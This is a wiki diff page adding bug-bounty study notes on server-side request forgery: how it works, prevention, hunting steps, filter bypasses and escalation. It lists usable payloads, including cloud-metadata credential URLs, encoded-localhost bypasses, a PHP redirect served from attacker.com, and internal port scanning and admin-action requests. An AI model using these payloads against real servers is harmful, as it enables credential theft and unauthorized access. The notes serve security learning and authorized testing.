User Tools

Site Tools


zseano:ssrf

Differences

This shows you the differences between two versions of the page.

Link to this comparison view

zseano:ssrf [2026/05/14 09:58] – add zseano methodology article drewzseano:ssrf [2026/05/14 16:16] (current) – merge bbc ch13 ssrf techniques drew
Line 76: Line 76:
   * [[zseano:escalation|Bug Chaining]]   * [[zseano:escalation|Bug Chaining]]
   * [[zseano:start|Methodology Index]]   * [[zseano:start|Methodology Index]]
 +
 +
 +====== BBC Ch 13: Server-Side Request Forgery (SSRF) ======
 +
 +//Merged from Bug Bounty Bootcamp Ch 13 by Vickie Li//
 +
 +===== How SSRF Works =====
 +
 +SSRF lets an attacker send requests from a trusted server on behalf of themselves. A public web server that fetches URLs supplied by the user can be directed to reach internal services that are normally firewalled from the internet.
 +
 +Classic example -- proxy service:
 +<code>
 +https://public.example.com/proxy?url=https://google.com  (intended)
 +https://public.example.com/proxy?url=https://admin.example.com  (SSRF: fetches internal admin panel)
 +</code>
 +
 +The request to admin.example.com originates from the trusted public server, not the attacker's machine, so internal firewall rules permit it.
 +
 +**Regular vs Blind SSRF:** regular SSRF returns the fetched content in the HTTP response; blind SSRF executes the request but does not return the result. Both exploit the same trust relationships, but blind requires out-of-band confirmation.
 +
 +===== Prevention =====
 +
 +  * **Blocklist** -- reject requests to internal network addresses (127.0.0.1, 192.168.x.x, 10.x.x.x, 169.254.x.x); most common approach
 +  * **Allowlist** -- only permit requests to a predetermined set of approved URLs; stricter but more bypass-resistant
 +  * **Secret headers** -- require internal requests to include a special header or token not accessible to external users
 +
 +===== Hunting for SSRFs =====
 +
 +==== Step 1: Spot Prone Features ====
 +
 +Any feature that causes the server to fetch an external resource is a candidate:
 +  * **Webhooks** -- app configuration pages where you supply a URL for callbacks (Slack event subscriptions, GitHub webhooks, etc.)
 +  * **File upload via URL** -- "upload from URL" or "import from link" features
 +  * **Link expansion / thumbnails** -- automatic preview generation when a URL is pasted
 +  * **Proxy services** -- URL parameters that return external content
 +  * **XML / PDF processing** -- server-side parsers that resolve external entities or fetch resources embedded in documents
 +  * **Hidden API endpoints** -- undocumented endpoints that accept a URL parameter
 +  * **HTML injection in img/iframe src** -- user input inserted into HTML that the server later renders server-side
 +
 +Record each candidate endpoint:
 +<code>
 +Webhook:    POST /webhook          body: url=https://attacker.com
 +File upload: POST /upload_from_url body: user_id=1234&url=https://attacker.com/img.jpeg
 +Proxy:      GET /proxy?url=https://google.com
 +</code>
 +
 +==== Step 2: Submit Internal URLs ====
 +
 +Replace the URL value with common internal addresses:
 +<code>
 +localhost
 +127.0.0.1
 +0.0.0.0
 +192.168.0.1
 +10.0.0.1
 +169.254.169.254  (AWS instance metadata)
 +</code>
 +
 +Examples:
 +<code>
 +POST /webhook
 +url=https://192.168.0.1
 +
 +POST /upload_profile_from_url
 +user_id=1234&url=https://127.0.0.1:22
 +</code>
 +
 +==== Step 3: Check the Results ====
 +
 +**Regular SSRF:** look for service banners or internal content in the HTTP response:
 +<code>
 +Error: cannot upload image: SSH-2.0-OpenSSH_7.2p2 Ubuntu-4ubuntu2.4
 +</code>
 +
 +A service banner in the error message confirms SSRF.
 +
 +**Blind SSRF:** use out-of-band detection:
 +  * Start a Netcat listener: ''nc -lp 8080'' and point payloads to your IP:8080
 +  * Use Burp Collaborator (generates unique domain names and monitors for interactions)
 +  * Compare HTTP status codes (200 vs 500) across different internal IPs and ports to infer which hosts and ports are reachable
 +  * Compare response times -- closed ports respond faster (connection refused); firewalled ports respond slower (timeout)
 +
 +===== Bypassing SSRF Protection =====
 +
 +==== Bypass Allowlists ====
 +
 +If the server only allows URLs from a specific domain (e.g., ''pics.example.com''):
 +
 +**Open redirect chain:** use an open redirect on the allowlisted domain to bounce to an internal address:
 +<code>
 +url=https://pics.example.com/123?redirect=127.0.0.1
 +</code>
 +
 +**@-sign trick** (host confused as credentials):
 +<code>
 +url=https://pics.example.com@127.0.0.1
 +</code>
 +
 +**Directory trick** (internal IP with allowlisted domain as path):
 +<code>
 +url=https://127.0.0.1/pics.example.com
 +</code>
 +
 +==== Bypass Blocklists ====
 +
 +**Attacker redirect:** make the server request a URL you control that redirects to the blocked internal address:
 +<code>
 +url=https://attacker.com/ssrf
 +</code>
 +
 +Serve this PHP on attacker.com:
 +<code php>
 +<?php header("location: http://127.0.0.1"); ?>
 +</code>
 +
 +**IPv6:** blocklists for IPv4 often don't cover IPv6 equivalents:
 +<code>
 +url=http://[::1]        (IPv6 localhost)
 +url=http://[fc00::    (IPv6 private network)
 +</code>
 +
 +**Custom DNS:** point a domain you control to 127.0.0.1 via an A record, then use your domain as the URL.
 +
 +**Encoding variants of 127.0.0.1:**
 +<code>
 +Hex:    https://0x7f.0x0.0x0.0x1
 +Octal:  https://0177.0.0.01
 +Dword:  https://2130706433
 +URL:    https://%6c%6f%63%61%6c%68%6f%73%74   (localhost)
 +Mixed:  https://0177.0.0.0x1
 +</code>
 +
 +===== Escalating the Attack =====
 +
 +==== Network and Port Scanning ====
 +
 +Iterate over internal IP ranges and port numbers; observe differences in response codes or response time to map the internal network:
 +<code>
 +url=https://10.0.0.1  -> 200 + Apache banner  (host exists)
 +url=https://10.0.0.2  -> 500 "Connection Failed"  (no host)
 +
 +url=https://10.0.0.1:80   -> 200 (port open)
 +url=https://10.0.0.1:11   -> 500 (port closed)
 +</code>
 +
 +Use SSRFmap (https://github.com/swisskyrepo/SSRFmap/) to automate scanning.
 +
 +==== Pull EC2 Instance Metadata ====
 +
 +If the target runs on AWS, query the metadata endpoint from the SSRF:
 +<code>
 +url=http://169.254.169.254/latest/meta-data/
 +url=http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME
 +url=http://169.254.169.254/latest/dynamic/instance-identity/document/
 +url=http://169.254.169.254/latest/user-data/
 +</code>
 +
 +These can leak IAM role credentials, S3 access tokens, and private IP addresses.
 +
 +==== Pull Google Cloud Metadata ====
 +
 +APIv1 requires special headers (''Metadata-Flavor: Google'') but v1beta1 does not:
 +<code>
 +url=http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token
 +url=http://metadata.google.internal/computeMetadata/v1beta1/project/attributes/ssh-keys
 +</code>
 +
 +Note: v1beta1 was deprecated in 2020 and may be disabled on newer instances.
 +
 +==== Attack Internal Services ====
 +
 +  * **Bypass access control** -- access internal admin panels only reachable from trusted IPs:
 +    ''url=https://admin.example.com''
 +  * **Internal API calls** -- trigger admin-only actions:
 +    ''url=https://admin.example.com/delete_user?user=1''
 +  * **Escalate to RCE** -- use leaked credentials to upload a shell; access an unsecured admin panel with script-execution features
 +
 +===== 8-Step Checklist =====
 +
 +  - Spot features prone to SSRF: webhooks, URL file uploads, proxy services, link expansion, XML/PDF processors, hidden API endpoints.
 +  - Set up a Netcat listener or Burp Collaborator for blind SSRF detection.
 +  - Submit internal addresses (127.0.0.1, 192.168.x.x, 10.x.x.x, 169.254.169.254) to each candidate endpoint.
 +  - Check regular SSRF responses for service banners or internal page content.
 +  - For blind SSRF: compare status codes and response times across hosts and ports to infer network topology.
 +  - If protection is present, try bypass techniques: open redirect chain, @-sign trick, IPv6, custom DNS, encoding variants.
 +  - Escalate: scan network, pull cloud metadata (AWS/GCP), bypass internal access controls, execute internal API calls.
 +  - Draft report with curl PoC showing concrete data returned or access achieved.
  
zseano/ssrf.1778749098.txt.gz · Last modified: by drew

Donate Powered by PHP Valid HTML5 Valid CSS Driven by DokuWiki